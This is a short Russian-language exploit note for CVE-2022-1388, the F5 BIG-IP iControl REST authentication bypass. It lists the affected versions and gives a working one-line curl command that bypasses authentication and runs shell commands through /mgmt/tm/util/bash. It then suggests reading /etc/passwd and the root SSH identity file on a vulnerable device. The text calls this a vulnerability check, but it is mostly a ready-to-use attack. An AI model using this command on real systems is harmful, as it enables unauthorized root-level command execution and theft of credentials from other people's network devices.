CVE-2022-1388 BIG IP REST RCE

На версиях F5 BIG-IP 16.1.x до 16.1.2.2, 15.1.x до 15.1.5.1, 14.1.x до 14.1.4.6, 13.1.x до 13.1.5, а также на всех версиях 12.1.x и 11.6.x нераскрытые запросы могут обходить аутентификацию iControl REST.

Используйте следующую однострочную команду cURL для проверки этой уязвимости.

curl -k --header "Host: 127.0.0.1" --header "Authorization: Basic YWRtaW46YWRtaW4=" --header "X-F5-Auth-Token: asdf" --header "Connection: X-F5-Auth-Token" --header "Content-Type: application/json" https://$IPADDRESS/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}'

Поле Authorization может содержать любое значение в кодировке base64. В примере выше используется admin:admin. Это НЕ обязательно должны быть действительные учётные данные: если сервер уязвим, подойдёт любое значение в кодировке base64.

Если указанная выше команда возвращает ID, вы можете попробовать ряд действий, например прочитать /etc/passwd с помощью cat /etc/passwd или попытаться получить корневой SSH-сертификат с помощью cat /root/.ssh/identity.